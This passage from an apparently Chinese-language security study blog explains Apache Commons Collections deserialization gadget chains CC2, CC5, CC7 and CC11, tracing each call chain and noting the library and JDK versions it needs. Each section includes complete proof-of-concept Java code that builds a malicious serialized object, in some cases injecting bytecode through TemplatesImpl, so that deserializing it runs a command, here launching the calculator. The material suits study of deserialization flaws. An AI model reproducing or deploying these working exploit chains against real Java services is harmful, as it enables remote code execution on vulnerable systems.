1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;import java.util.PriorityQueue;public class CC2 { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); Class c= TemplatesImpl.class; Field name = c.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"Boogipop" ); Field bytecodes = c.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("E:\\\\CTF学习笔记\\\\Java\\\\CC1-NEW\\\\target\\\\classes\\\\EXEC.class" )); byte [][] codes={code}; bytecodes.set(templates,codes); InvokerTransformer invokerTransformer=new InvokerTransformer ("newTransformer" ,new Class []{},new Object []{}); TransformingComparator transformingComparator=new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue=new PriorityQueue (transformingComparator); priorityQueue.add(templates); priorityQueue.add(2 ); Class tc=transformingComparator.getClass(); Field comparator = tc.getDeclaredField("transformer" ); comparator.setAccessible(true ); comparator.set(transformingComparator,invokerTransformer); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object obj=ois.readObject(); return obj; } }
流程分析: 也就是CC4后半条链直接调用了invokertransformer,并且我们需要手动把templates放进add方法: 都是传入了一个泛型E e,然后进入了siftUp方法,这个e实际就是传入的templates: 最后调用comparator.compare(x, (E) e)
,在这里comparator已经是TransformingComparator
: transformer就是invokertransformer,然后obj就是上面compare里传入的templates,也就触发了invokertransformer.transform(templates),命令执行 分析完毕
1X2.6 CC5 接下来讲的CC5和CC7其实都是在CC6的基础上修改了一些地方而已
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC5 { public static void main (String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class}, new String [] {"calc.exe" }), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map lazymap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedmap = new TiedMapEntry (lazymap,123 ); BadAttributeValueExpException poc = new BadAttributeValueExpException (1 ); Field val = Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" ); val.setAccessible(true ); val.set(poc,tiedmap); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./cc5.bin" )); outputStream.writeObject(poc); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./cc5.bin" )); inputStream.readObject(); }catch (Exception e) { e.printStackTrace(); } } }
怎么说呢,版本就是JDK1.8,然后对于commoncollections版本要求大概就是3.2,3.1这样子(3.2.1和3.1均可) 其实也就2个地方不同BadAttributeValueExpException.readObject
->TiedMapEntry.toString()
,就前面这2个地方和CC6略微有所不同,后半部分大部分完全一致 在BadAttributeValueExpException
的readObject中调用了valObj
的toString: 我们只需要让valObj为TiedMapEntry即可触发TiedMapEntry.toString
这里只需要反射获取val属性,修改为TiedMapEntry即可,之后进入了TiedMapEntry.toString
: 进入getvalue: 调用LazyMap.get,接下来一样的流程
1X2.7 CC7 CC7也大同小异
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 package com.test;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.AbstractMap;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { final String[] execArgs = new String []{"calc" }; final Transformer transformerChain = new ChainedTransformer (new Transformer []{}); final Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, execArgs), new ConstantTransformer (1 )}; Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain,transformers); lazyMap2.remove("yy" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("test1.out" )); objectOutputStream.writeObject(hashtable); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream ("test1.out" )); objectInputStream.readObject(); } }
也是分析了一会儿,也是前2个地方不同:Hashtable.readObject
->Hashtable.reconstitutionPut
->Abstracecorator.equal
->AbstractMap.equals
虽然说看起来好像是四个步骤,但是其实equals这里,首先是调用LazyMap.equals,然后Lazymap没有一直找父类找到了AbstractMap.equals
来分析一下就好了,首先看到readObject: 在最低下调用了reconstitutionput继续跟进: 调用了e.key.equals,这里就需要整理一下这个key究竟是什么了,我们溯源一下(过程太繁琐就不一步步的说)最终在WriteObject里可以看到: 其实key就是我们第一次put进去的key,为什么需要put两次呢? 第一次进入reconstitution时,tab[index]是未赋值的,因此为null,进入不了for循环内,第二次put就可以进入for循环,此时e.key就是LazyMap1,key就是LazyMap2 然后就调用lazymap1.equals(lazymap2)
,由于lazymap没有equals方法,一直回溯就到了abstractmap.equals: 这个m就是lazymap2: 因此就调用了Lazymap2.get,后半部分就和CC6一样了,没啥好说的
为什么需要remove LazyMap2的yy键呢? 在HashTable的put方法也会调用一次equals! entry就是tab[index]也是第二次put生效,因此,然后和CC6是一个问题,分析一下LazyMap.get: 此时这个key是yy(感兴趣的可以自己去往上追溯,很好分析,算了还是讲一下吧)为什么是yy呢?我们一步步跟进: AbstractMap里的key是什么呢: 由于我们是先调用了HashMap里的equals,最后才到的AbstractMap,因此这个entryset也就是HashMap的,LazyMap1里放的就是HashMap1,里面的键是yy,因此为yy 说完了为什么是yy后,就继续分析,因为我们的LazyMap2里并没有yy这个键,所以会进入if添加一个yy,所以当反序列化的时候就不会进入if判断了,因此需要remove掉
最后一个疑惑点,为什么是yy和zZ呢? 同样的还是 reconstitutionPut 函数里的问题,前面说到我们会 put 两次,那么自然 index 这里计算也会进行两次,那么如果第一次和第二次计算出来的 hash 值不同,那么 index 就会不同,就会导致在第二次中 tab 中会找不到值,从而 e 为 null,自然不会进入 for 循环,就不会触发 RCE 我们需要让程序以为2次put的tab是同一个才能进入这个for循环,进而rce 还有就是为什么只有yy和zZ可以相同,这是java的一个小bug,yy和zZ的hashCode值是一样的: 分析告一段落拉
1X2.8 CC11 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;@SuppressWarnings("all") public class cc11 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field f0 = templates.getClass().getDeclaredField("_bytecodes" ); f0.setAccessible(true ); f0.set(templates,targetByteCodes); f0 = templates.getClass().getDeclaredField("_name" ); f0.setAccessible(true ); f0.set(templates,"name" ); f0 = templates.getClass().getDeclaredField("_class" ); f0.setAccessible(true ); f0.set(templates,null ); InvokerTransformer transformer = new InvokerTransformer ("asdfasdfasdf" , new Class [0 ], new Object [0 ]); HashMap innermap = new HashMap (); LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer); TiedMapEntry tiedmap = new TiedMapEntry (map,templates); HashSet hashset = new HashSet (1 ); hashset.add("foo" ); Field f = null ; try { f = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap" ); } f.setAccessible(true ); HashMap hashset_map = (HashMap) f.get(hashset); Field f2 = null ; try { f2 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData" ); } f2.setAccessible(true ); Object[] array = (Object[])f2.get(hashset_map); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); }catch (Exception e){ keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } keyField.setAccessible(true ); keyField.set(node,tiedmap); Field f3 = transformer.getClass().getDeclaredField("iMethodName" ); f3.setAccessible(true ); f3.set(transformer,"newTransformer" ); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./cc11" )); outputStream.writeObject(hashset); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./cc11" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); }
具体分析参考:http://wjlshare.com/archives/1536
JDBC反序列化 反弹shell解惑: